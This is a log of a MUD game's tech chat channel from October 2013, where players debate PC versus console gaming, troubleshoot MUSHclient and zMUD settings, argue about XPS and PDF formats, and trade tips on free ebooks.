T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: There are harder-core gamers on PC, but they are a small group compared to the 15-25ers on PS3/360 right now
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Daloran Tech: hahahahahaa... oh you. Vakieh is silly
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: first person shooters on PC is highly competitive
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Highly competitive, and there are some seriously hardcore people, yes. But they are dwarfed by the console.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Like I said, the only genre in which 'most' means PC is RTS
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Daloran Tech: Are we forgetting MMOs?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: http://media2.s-nbcnews.com/j/streams%5C2012/October/121011%5C1C4252300-101112-riotgames-lol-infographictease.blocks_desktop_medium.jpg
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: Well, the price points are hurting MS and Sony since they are losing money per console.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: this is just one game
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: dont like playing on an console, poor graphics power against pc
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: 1 billion hours a month are played on league of legends
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Daloran Tech: also, i think you need to define "rules"
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Daloran Tech: cause if you're just talking about number of players..
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: Shazam: buy a pc for ~250 = price of ps3 now and then compare
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: eur
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: well if you play an fps on console it sux yo move crossaire, plus draw distance is very low and the small resolution shows that ugly jagged edges of frames.. buy an decent pc then play competetive with an mouse and the graphics are very appealing...
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: of course, noone is arguing about that - if you really are into graphics then ps is a go
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: otherwise, console is fine
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: err pc is a go
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yip, im thats why i like gaming on pc, superious graphics and you can play the same game on pc much more competitive then on console.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I agree PC is the better way to do things... but as I have found visiting back home, teenagers make a MESS of them. 13yo brother has apparently discovered the naughty sites, MSE found 300 or so, Malwarebytes another 150. Can't do that on a console :-P
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yeaj consoles are ok for casual gamers and teens :-) 
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: Nintendo screwed up when it was developing the DD and did not pick it up and use it. Sony was the one developing it for Nintendo. Sony decided to use the tech and create the PS1.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: i bought ps3 2 years ago, but im not hardcore player and i got used to console-style play of fps games
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In Nintendo's defence, the N64 was one of the most successful consoles of all time
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Their followup was awful though
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: fps on consoles is not fun... moving the analog left right up down.. very annoying
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: They have aim assist - people get used to that sort of thing
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: nah i was on pc, you just get used to it - obviously aiming with mouse is more precise
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yeah dony get me wrong i like to play cassualy on consoles my self, but when an LAN weekend arives im all ouy pc
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: i wonder if some company ever makes a RTS or hunting game (eg deer hunter etc)
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Lan weekend? What is this, 1995?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: nod Valkieh   lol :)
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: bunch of friends hooking up Pcs then playing games through LAN, local area network....
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: No need to interwebs.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Ah, yuhuh I know what one of those is, but people play PC games on the internet these days :-P
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Pedsirs Tech: i have LAN parties myself, i play an online MMO to which we meet every year ( about 30 of us ) and have a few beers and play online
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: guess it makes sense only if you bring beer etc
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Velian Tech: i remember in highschool I pulled a LAN cable from my house to my neighbors through our windows so we could play over LAN together anytime we wanted.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: lol, much for fun to play in an large room drinkinh and socialising while playing games.. cant do that over interweb...
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Pedsirs Tech: infact i'll be going to my mates tonight to play this lmao
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Tech: *Yay!*  Go Pedsirs!!!  SnapDragon Shazam cheers him on.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: hopefully all your friends play aardwolf too
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Pedsirs Tech: nope, just the one
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: so you have to do an aardwolf lan party!
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Pedsirs Tech: i dont know enough people to have A 'aardwolf LAN party' but yes it'll be me and him playing a little aardwolf with some beers, probably be getting to SH tonight
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: sounds like fun :-) 
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: would be probably more fun if HIM was HER
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bad angel Ghaan Tech: but guess you wouldnt play much of aardwolf then
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Pedsirs Tech: i dont play much aardwolf now if im honest
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Pedsirs Tech: been playing for what seems like forever and only racked up 361 hours
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ashiya Tech: if you play any other game 360 hours that's considered a lot :)
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Aardwolf is the most fun ive had in ages with an game, you keep on coming back for more. And it will take Years to beat-reach T9 :-) 
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: Some have done it in 6 months.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: dont think anyone has
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ranrr Tech: Some don't have jobs.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: very few yeah not the majoritu
T3/r7/2013-10-11.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: mayb an year noy 6months lol
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ontuct Tech: I hate hate hate it when Macromedia flash updateas, and McAfee decides to install. Why do they do that crap???
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: It is called bloat/malware crap.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Ontuct Tech: had I wanted it, I would have gone looking for it.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: anyone here give me some input on the aardmush client?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: something happened, and I've reinstalled twice and nothing will echo in the main window.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: nothing at all.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: I type note and nothing comes up.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: I have it set to echo all to main window, and nothing.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: prompt won't show up either.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: did you load any external plugins?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: none at all yet.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: go through each plugin and disable it until you find the culprit
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: OK.  Will do.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: everytime I type something, it does show in the main with no tags, and the #47 shows up under it for a second...
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: the things that most affect the client are tags, so make sure tags are on, gmcp, so type "protocols" and see if gmcp is on, and your prompt, so make sure your prompt has a %c at the end of it
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: and make sure you have nothing aliased to p mudside
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: I can't see the protocols because when I type it in nothing shows in the main screen.  Still going through plugins disabling now.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Obonsai Tech: you could telnet/webclient in to make non-plugin related test changes, no?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: if you are just unzipping aardmush to a new folder, it would work out of the box
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: if it doesn't, either you did it wrong, which is unlikely if you unzipped it all to a new folder, or there is a problem you ahve unrelated to mushclient
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: I unzipped to a completely new folder. Probably something to do with computer.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: all the new updates that happened last week or something :(
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: bingo
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: prompt fixer.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: when I disabled it, it popped right up.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: i'd say send a note to fiendish, but he's been gone 2 weeks
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: do you have "p" aliased mudside?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: I have not done anything besides unzipped and opened.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: type alias and see if you have a mudside alias for only the letter p
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: no aliases defined.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Bast Tech: ok, then you are fine on that count
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: still can't change my prompt now though.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: I wish I was computer smart.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: now it works to change it.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: Figured it out Bast.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: Thanks for the help.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mea Culpable Tech: our tech guy had my desktop syncing with our network, so it was just making a mess of running MUSH from the desktop.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Damacius Tech: is there a way to have a trigger send something through the command line thing so that it activates a plugin?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Damacius Tech: instead of just sending it to the world
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: if it is using an alias or something in a plugin, you can change the send setting of the trigger from world to execute
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: for example, with the mapper, you can make an alias 'ma' for 'mapper area %1' and send to changed to execute
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Damacius Tech: how can I see if the plugin is using an alias inside?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: your question would be easier to answer if you were a little less vague. what exactly are you trying to do before going into an explanation?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Umado Tech: anyone try Unbuntu?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}<pretitle> Scars Tech: someone with sweep practiced do me a favor and make an alias for sw that does "tell scars it worked" and then try and use sw to send me that tell
T3/r7/2013-10-11.txt.gz:{chan ch=tech}<pretitle> Scars Tech: if it uses the sweep skill, let me know that, too
T3/r7/2013-10-11.txt.gz:{chan ch=tech}<pretitle> Scars Tech: thanks
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Hunwald Tech: Got a tech question for ya. How do I change the text and background colors of my MUSHclient?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: The Text is under Configure > Output. The colors is under Configure > Custom Colors
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Hunwald Tech: Thanks!
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: If you are wanting to change the background of the mini-windows. That is in the menu for each mini-window. I know you can change Text. I am not certain about color.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Turie Tech: You right click on the mini-window for that.
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Hunwald Tech: Ack, how do I restore the defaults on MUSHclient?
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: delete folder. unzip vanilla install
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: ;)
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Hunwald Tech: righto
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: if you have such things, you can go into your alias and trigger settings and save them somewhere else
T3/r7/2013-10-11.txt.gz:{chan ch=tech}Mr. Dash Tech: and then load them in your new
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Is there any valid reason that MS has its own format for printing to file (XPS) instead of something standard? (WinXP)
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Guess not, it's just to make their OS slightly less usable then.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: what would you prefer as standard?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: PDF or PS
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: if I'm not mistaken, are those two not owned by Adobe and Epson?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: PDF was Adobe... was not made an open standard until 2008.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Well, until we get a true open source format, those are the best we have.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: pdf is an open standard, published by ISO
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: Abe: Not until 2008 it wasn't
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: what does 2008 have to do with anything
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: That was the year it became an iso standard.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: that's called history with no bearing on current abilities
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: yes, that's the year it became an iso standard, which means nothing
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: 2008 was well after WinXPs release though
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: xps was after xp as well
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Gener Tech: Adobe Systems Inc. on Jan. 29, 2007 announced that it has released the full PDF (Portable Document Format) 
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pleiades Tech: are you an ISO standard, abe?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: If XPS was after XP, how come I have it on my XP machine?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: and PS was used as the display engine for NeXT, and PDF was the display engine for earlier OSX
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: Hmm, true. Regardless. IF you need to print to PDF, there is plenty of software out there that will allow you to do it from windows
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: because your XP machine isn't original XP
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: You did not qualify it that way.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: sure I did
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Nope. Sorry, you lose.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: your reading comprehension loses
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: and your computer has plenty of software on it which is "after XP"
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: something coming out "after XP" doesn't mean it can't run on XP
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: I didn't realize XPS was an addition, but no, Abes correct
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pleiades Tech: I prefer Windows Me
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: there were updates which install the XPS document printer
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: I would consider updates to be part of the OS.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: I actually almost wonder if XPS creation isn't part of the reason PDF became an open standard in 2008.. but.. just idle wondering on my part
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Any, who cares. It's still a bad idea to not use standards, imo.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: the ones that are part of the OS are part of the OS, yes...but they're still released after it
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: XPS is actually an open standard too, Ranrr
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: one of the things I liked with Mac printing back from the System 7 days was that you could simply drag a print job from one printer to another, handy when a printer goes down
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: With CUPS you can still do that.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Well, at least with the linux implementation.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Daloran just uses cups for his coffee..
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: nod, you can still do it on Macs...and that I know of you still can't do it on Winderz (although I haven't tried in W7 or W8)
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: Seems like a neat feature - but one I would never have a use for
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Never worked in an office with more than one printer?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: it's a very handy feature for office/school/other professional use
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Or do you just run a more useful OS for work?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: Fair, Abe. Most places i've been the printers tend to be spread out enough that printing to an alternate location would be a bit inconvenient anyway. 
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: so often people send print jobs and leave the website, etc. before verifying that the job came out of the printer
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: it's not about convenience so much as possibility
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: without the feature the printout is gone forever, with it, you can still get it output
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Best though is to have a virtual printer setup where you can do this from the printer.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: Hmmm. Fair. Though usually in those sorts of places, aren't the printers network printers, and once the file has been sent to the printers buffer, its usually removed from the PCs queue anyway?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: depends on the failure,and how many jobs are sent
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: You would want to use a printer server.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: print server just changes which computer(s) the spool is on, doesn't really change anything else in the scenario
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pleiades Tech: please think about the environment before printing
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: You snicker with him about your shared secret.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pleiades Tech: wow... my iphone is down to only 75% after 3 hours of standby
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: BTW, XPS is not floss, it's under license from MS and contains patents from MS. Not something I would use given a choice. (That may be true of PDF as well, though)
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: mm. Fair. Royalty freethough
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ranrr Tech: Free as in beer is nice. Free as in speech is better.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: anyone who knows mushclient well?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: if I use Game -> Mapper to record movement in a maze...how do I activate it to use the same directions later?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: Anyone good with mushclient here
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: Nope, but you should ask your question anyway.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: anybody who uses zmud?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yes. try 'clients'
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: why does my prompt look like this
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: {stats}263/175,253/181,159/74,197/95,180/94,147/74,100,88,100,410,598,You are Standing.,9999,4436/4436,3604/4083,2822/2822,7745524,3077,0,2500,1437,114,5
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Redryn Tech: toggle statmon
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: how
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: type statmon
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir buries his face in his hand and sighs, shaking his head.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: now i dont have any prompt
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: type prompt
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: how do i turn off the map in zmud..the drawing stuff
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: and how do i remove {chan ch=tech}Tech: how do i turn off the map in zmud..the drawing stuff
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Runtur Vanion Tech: help maptags
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That would be the ascii map, no?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: ya
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I assume the 'drawing stuff' he means is a graphical map?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: how do i turn it off?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: Tymas: Your recurring problem is tags
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: okay i turned tags off
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: i don't see them anymore, now how do i remove this map?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: You used a bunch of Mushclient plugins that turned tags on, now you are on zmud and zmud doesn't know what to do with them
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: help automap
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: Ah
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: thanks got the map removed also
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Who in their right mind goes from note
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Whoops :D Meant who in their right mind goes from mushclient to zmud. Then a note happened...
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: I blame Havvoc
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: autonuke would be cool
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mis
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: how do i remoev the {chan ch=gossip}SuperBlooper gossips 'congrats' again?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: Why isn't a trigger showing the " "? trying to do cast "cure blind"
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tymas Tech: on zmud btw
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Turie Tech: Any suggestions on how to get FTII to allow you to "redo" Task 1 when it is not allowing you to do it after failure of the goal on Task 22.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Did you turn it off and turn it back on?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Turie Tech: How do you "turn off" a goal?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: Doesn't seem very tech related, but dropping/regetting it usually works for others
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Turie Tech: It is not for this goal.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: How is it not allowing you to redo it?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Mr. Dash Tech: because citron
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Turie Tech: Ella is not giving the amulet to her father to drop it for you.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Did you go back to the weasel?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Turie Tech: Yes.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Turie Tech: Bowed, listened, and even typed task here
T3/r7/2013-10-12.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: help, mother nature is ddosing my satalite TV.  Is there anything I can do??
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Elxi Tech: Get cable, watch a movie, watch recorded shows, mud more, take a shower, go for a walk. In any particular order.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Zade Tech: read the helpfiles suggested by the academy tasks
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Confounded CeriQ Tech: For me, it's just "Eat less candy". I am currently eating candy. :/
T3/r7/2013-10-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in lua you concat strings using .. how do you do it in c?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pumpkin Tech: C doesn't have a string type, right?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}HelperMan Hadar Tech: so if i wanted to do printf("something:"var) i dont need something?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Pumpkin Tech: I don't really know, sorry, but I bet it'll be something ugly
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Creestux Tech: is there an option for mush that retains the last thing typed in the command line so you can just hit enter over and over to repeat it rather than retyping it?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Sickerone Tech: just press the up arrow
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: game -> configure -> commands, the top checkbox on the right
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ayasinda Tech: yes but I have to look it up
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Creestux Tech: yeah....not the same though
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Creestux Tech: cool
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Ayasinda Tech: ahh Abe looked it up already
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Creestux Tech: thanks
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Creestux Tech: much better...again, thanks
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: If i download the Kindle app , are the books in it also free to download ?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: No
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: that'd be like itunes / free music
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Do you know of an app that haves free books in it ?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: The library has many free books
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: If the book itself is free, sure. And there are some legitimate free books. Otherwise, you'll have to purchase them, or if your library supports it, borrow it from them. You can even borrow books from a Prime member.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: if you're looking for ebooks, you might persue project gutenberg - a lot of out of copywrite books that have been digitized and published in various formats
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Daloran.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: I actually want to download free books for my ebook reader
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes, Project Gutenberg will allow it.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: is that a website ?
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Book of Etzli Tech: These are older books, however, like "Tom Sawyer" and whatnot.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: yes.
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: www.gutenberg.org
T3/r7/2013-10-12.txt.gz:{chan ch=tech}Daloran Tech: post copyright books, so generally things that are 75+ years old
